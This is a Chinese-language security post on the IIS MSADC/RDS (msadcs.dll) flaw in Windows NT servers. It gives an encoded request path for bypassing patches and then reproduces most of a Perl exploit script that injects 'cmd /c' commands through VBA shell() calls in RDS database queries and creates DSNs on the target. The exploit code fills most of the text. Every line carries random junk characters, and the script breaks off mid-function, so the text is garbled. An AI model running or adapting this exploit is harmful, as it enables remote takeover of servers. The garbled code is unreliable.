IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
)(@Hd ^4o;$u4R 涉及程序:
R=KQ Microsoft NT server
vI@%Fg+D |n] d34E 描述:
FJd]D[h 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
qcT'nZ:
c;'[W60 详细:
1</kTm/Qa 如果你没有时间读详细内容的话,就删除:
[
I/<_AT# c:\Program Files\Common Files\System\Msadc\msadcs.dll
QMZ)-ty" 有关的安全问题就没有了。
v~Y^r2 +[tP_%/r'^ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
}m-FGk ^7Fh{q4IE 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
5+wAzVA 关于利用ODBC远程漏洞的描述,请参看:
C/-63O_ vEn4L0D http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm M4W5f#C5Ee Rx+p. 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
)[Yv?>ib http://www.microsoft.com/security/bulletins/MS99-025faq.asp nb>7UN.9 {+@bZ}57 这里不再论述。
~_!F01s L/z),# 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
o-Ga3i 8 ZR'H\Z /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
i _%Q`i 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
h3;bxq!q RG4 sQ0 O
&-wxJ]S #将下面这段保存为txt文件,然后: "perl -x 文件名"
]H1I,`=@ 9cj9SB4 #!perl
LA)[ip4 #
|u ;v27 # MSADC/RDS 'usage' (aka exploit) script
qQH]`#P #
\~_9G{2? # by rain.forest.puppy
f@c`8L@g #
pt}X>ph{ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
wLH] <k # beta test and find errors!
nxl[d\ap+n 10U9ZC use Socket; use Getopt::Std;
Qg<(u?7N getopts("e:vd:h:XR", \%args);
.?hP7;hhI d09k5$=gJ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
cx0*X* GbaEgA'fa if (!defined $args{h} && !defined $args{R}) {
Y"wUt & print qq~
x UD-iSY Usage: msadc.pl -h <host> { -d <delay> -X -v }
qZA).12qS -h <host> = host you want to scan (ip or domain)
9,"L^W8"k -d <seconds> = delay between calls, default 1 second
,11H.E
Z -X = dump Index Server path table, if available
l
c '=mA -v = verbose
@Rw!'T -e = external dictionary file for step 5
v@d :EA\)@^$R Or a -R will resume a command session
"l*`>5Nn9 *v3]}g[< ~; exit;}
`{xNXH]@ +o51x'Ld* $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
uF3qD|I\ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
t0T"@t#c if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
m
RO~aD!N if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
qhz]Wm P $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
QD>"]ap,o if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
>:|q&|x- <|Pun8j if (!defined $args{R}){ $ret = &has_msadc;
ez6EjUk die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
EB8\_]6XJ 1[vi. print "Please type the NT commandline you want to run (cmd /c assumed):\n"
d:U9pC$ . "cmd /c ";
[`):s= FC $in=<STDIN>; chomp $in;
#gcF"L|| $command="cmd /c " . $in ;
se>MQM5 ) '&|=0TDd+ if (defined $args{R}) {&load; exit;}
,5*eX L~NbdaO print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
}I2@%tt? &try_btcustmr;
fOMW"myQ PuZf/um print "\nStep 2: Trying to make our own DSN...";
iS<I0\D &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
MEGv} O~^" print "\nStep 3: Trying known DSNs...";
IDG}ZlG &known_dsn;
McQe1 1cD! :[ print "\nStep 4: Trying known .mdbs...";
2FW\O0U &known_mdb;
oczN5YSt C-H@8p?T if (defined $args{e}){
`u&Zrdr, print "\nStep 5: Trying dictionary of DSN names...";
}dd8N5b &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
#hsx#x|| F;<xnC{[ print "Sorry Charley...maybe next time?\n";
CLJ;< exit;
TBT:/Vfun <h'5cO ##############################################################################
oT>(V]*5 ^ cz(}N
6& sub sendraw { # ripped and modded from whisker
t>$kWd{9e; sleep($delay); # it's a DoS on the server! At least on mine...
>b{q. my ($pstr)=@_;
%eO0wa$a socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
H"dJ6 die("Socket problems\n");
iB& 4>+N+ if(connect(S,pack "SnA4x8",2,80,$target)){
z=3\Ab select(S); $|=1;
-#HA"7XOE print $pstr; my @in=<S>;
sH[ROm select(STDOUT); close(S);
u!W0P6 return @in;
+lMX{es\O } else { die("Can't connect...\n"); }}
Y1J=3Y ssN6M./6 ##############################################################################
ktpaU,% w_{wBL[3e sub make_header { # make the HTTP request
hK,Sf ;5V my $msadc=<<EOT
`.Qi?* ^ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
9uA>N User-Agent: ACTIVEDATA
]h
%Wiw Host: $ip
~15N7=wCM Content-Length: $clen
z3;*Em8Ir Connection: Keep-Alive
Tap.5jHL h9G RI ADCClientVersion:01.06
MfWyc_ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
(j3xAA YS *9t
Q{ --!ADM!ROX!YOUR!WORLD!
65aK2MS@ Content-Type: application/x-varg
!74S Content-Length: $reqlen
W|g4z7Pb hj.a&% EOT
bKN@j'M ; $msadc=~s/\n/\r\n/g;
j?x>_#tIY return $msadc;}
+yD`3`
E <,e+
kL{ ##############################################################################
"\o+v|; -RvQB sub make_req { # make the RDS request
In<n&ib my ($switch, $p1, $p2)=@_;
m~-K[+ya`D my $req=""; my $t1, $t2, $query, $dsn;
m1Mt#@,$ &RnTzqv if ($switch==1){ # this is the btcustmr.mdb query
ZWKg9 %y7 $query="Select * from Customers where City=" . make_shell();
]X ?7ZI^ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
u /\EtSH $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
.G#8a1# +N:o-9 elsif ($switch==2){ # this is general make table query
`u
teg= $query="create table AZZ (B int, C varchar(10))";
X6@WwM~qz $dsn="$p1";}
L'0B$6 OZ~5*v elsif ($switch==3){ # this is general exploit table query
)6D,d5< $query="select * from AZZ where C=" . make_shell();
:i .{ $dsn="$p1";}
Wg<(ms dj .xm.DRk3 elsif ($switch==4){ # attempt to hork file info from index server
vRHd&0 $query="select path from scope()";
iCHOv {p. $dsn="Provider=MSIDXS;";}
42(Lb'G &p4&[H? elsif ($switch==5){ # bad query
g9Xu@N;bL $query="select";
K+3IWZ&+dG $dsn="$p1";}
IV\'e} %~2YE $t1= make_unicode($query);
U$WxHYo $t2= make_unicode($dsn);
K|hjEQRv $req = "\x02\x00\x03\x00";
q$B>|y U $req.= "\x08\x00" . pack ("S1", length($t1));
EkjN{$* $req.= "\x00\x00" . $t1 ;
O\"3J(y, $req.= "\x08\x00" . pack ("S1", length($t2));
<YhB8W9 P $req.= "\x00\x00" . $t2 ;
ZL&g_jC $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
1Y7Eajt-5 return $req;}
V4'YWdTi 5?3Me59 ##############################################################################
b2OQtSr a =IQ5<;U3 sub make_shell { # this makes the shell() statement
lE&&_INHQ return "'|shell(\"$command\")|'";}
{pnS Q 3@M|m<_R$ ##############################################################################
{ +
Zd*)M[ hp 5|@ sub make_unicode { # quick little function to convert to unicode
'+?"iVVo my ($in)=@_; my $out;
mUdOX7$c> for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
0"\H^ return $out;}
@M_oH:GV 4GY[7^ ##############################################################################
Rld!,t y)W@{@{kl sub rdo_success { # checks for RDO return success (this is kludge)
qQ?"@>PALD my (@in) = @_; my $base=content_start(@in);
-y8`yHb_ if($in[$base]=~/multipart\/mixed/){
5ft`zf return 1 if( $in[$base+10]=~/^\x09\x00/ );}
117EZg]O return 0;}
m
g4nrr\ uao0_swW5 ##############################################################################
S~;4*7+?: b`~p.c%( sub make_dsn { # this makes a DSN for us
w&o&jAb-M my @drives=("c","d","e","f");
$Bs {u=+w print "\nMaking DSN: ";
~M7y*'oY foreach $drive (@drives) {
=F]FP5V print "$drive: ";
+wN^c#~7 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
;>?rP88t "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
j}JrE,| . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
*KV0%)}sbL $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
#xQr<p$L6 return 0 if $2 eq "404"; # not found/doesn't exist
iS
WU'K if($2 eq "200") {
R3;Tk^5A foreach $line (@results) {
b\$}>O return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
Rv$[)`&T } return 0;}
^=RffrlZU Y&d00 ##############################################################################
zMm#Rhn d%RC sub verify_exists {
|
r&k48@ my ($page)=@_;
rvbLyv;~ my @results=sendraw("GET $page HTTP/1.0\n\n");
@|63K)Xy return $results[0];}
BGD8w2 ]
2eK ##############################################################################
|"/8XA +;N2p1ZBf sub try_btcustmr {
E_])E`BJ my @drives=("c","d","e","f");
:(!`/#6H my @dirs=("winnt","winnt35","winnt351","win","windows");
w$z}r {|&5_][ foreach $dir (@dirs) {
(Pf+0,2 print "$dir -> "; # fun status so you can see progress
aJ-K? xQ foreach $drive (@drives) {
EN;}$jZ>47 print "$drive: "; # ditto
s:#V(<J $reqlen=length( make_req(1,$drive,$dir) ) - 28;
sk,ox~0R $reqlenlen=length( "$reqlen" );
mpI5J'>] $clen= 206 + $reqlenlen + $reqlen;
g`vny )\7/ aT)BR?OYSJ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
oX S1QT`B if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
gQxbi1!;9 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
ur$
_ #fM#p+v ##############################################################################
dZ rAn aqRhh=iS sub odbc_error {
yp KUkH/ my (@in)=@_; my $base;
hb zC#@q my $base = content_start(@in);
2ORNi,_I if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
\ 3wfwu.q $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
7\$qFF-y $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
EQb7-vhg $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
3DiLk=\~ return $in[$base+4].$in[$base+5].$in[$base+6];}
\W1,F6&j print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
e vrXo"3 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
[SHXJ4P* $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
%k-3?%&8 ein4^o<f. ##############################################################################
ryW'Z{+r' \Xm,OE_v" sub verbose {
&]e'KdXF my ($in)=@_;
s2'yY(u/ return if !$verbose;
q>$ev)W print STDOUT "\n$in\n";}
,SynnE68 iYORu3 ##############################################################################
< Z{HX[y L;VoJf sub save {
Co (.:z~ my ($p1, $p2, $p3, $p4)=@_;
y .#")IAF open(OUT, ">rds.save") || print "Problem saving parameters...\n";
Vr6@>@SC print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
S1p;nK close OUT;}
*.sVr7=j 3 Nreqq ##############################################################################
42e|LUZg SM0~fAtE sub load {
tZ=E')!\ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
\
e\?I9 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
{QcLu"?c @p=<IN>; close(IN);
gVq;m>\|F $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
QMa;Gy $target= inet_aton($ip) || die("inet_aton problems");
k. MUdU^ print "Resuming to $ip ...";
tBq
nfv $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
pm*xb]8y if($p[1]==1) {
#MX'^RZ>2 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
=|M>l $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
,Sq/y~ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
ohF JZ' if (rdo_success(@results)){print "Success!\n";}
F~%]6^$w else { print "failed\n"; verbose(odbc_error(@results));}}
//T>G_1 elsif ($p[1]==3){
)PG6gZYW if(run_query("$p[3]")){
T]t+E'sQ print "Success!\n";} else { print "failed\n"; }}
A )^`?m3 elsif ($p[1]==4){
GN ]cDik if(run_query($drvst . "$p[3]")){
]ndvt[4L print "Success!\n"; } else { print "failed\n"; }}
9xO#tu] exit;}
&Sl[lXE y4t7`-,~ ##############################################################################
|X0Y- SSz~YR^}Sr sub create_table {
bvv|;6 my ($in)=@_;
xC*6vH]? $reqlen=length( make_req(2,$in,"") ) - 28;
T*#/^%HSG $reqlenlen=length( "$reqlen" );
Gb8D[1=u= $clen= 206 + $reqlenlen + $reqlen;
,4zmb`dP< my @results=sendraw(make_header() . make_req(2,$in,""));
u.mJQDTH return 1 if rdo_success(@results);
>TOu|r my $temp= odbc_error(@results); verbose($temp);
b7NM#Hb return 1 if $temp=~/Table 'AZZ' already exists/;
&y3OR1_Sm* return 0;}
0~ZFv Wv X9p.gXF ##############################################################################
9z}uc@#D=m KNS.Nw7 sub known_dsn {
jX3,c%aQ5e # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
*of3:w my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
JRSSn] pw "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
19O,a#{KHf "banner", "banners", "ads", "ADCDemo", "ADCTest");
$^OvhnL/ =+U `-J}g foreach $dSn (@dsns) {
ue4Vcf print ".";
0J?~N`#O| next if (!is_access("DSN=$dSn"));
Y' %^NP}o if(create_table("DSN=$dSn")){
G?EoPh^m print "$dSn successful\n";
iz8Bf; if(run_query("DSN=$dSn")){
BybW)+~ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
85n1eE print "Something's borked. Use verbose next time\n";}}} print "\n";}
D}dn.$
tNGp\~ ##############################################################################
|?qquD 4= }._eIx" sub is_access {
A6:es_ my ($in)=@_;
xnmmXtk $reqlen=length( make_req(5,$in,"") ) - 28;
jp0<pw_ $reqlenlen=length( "$reqlen" );
r30 <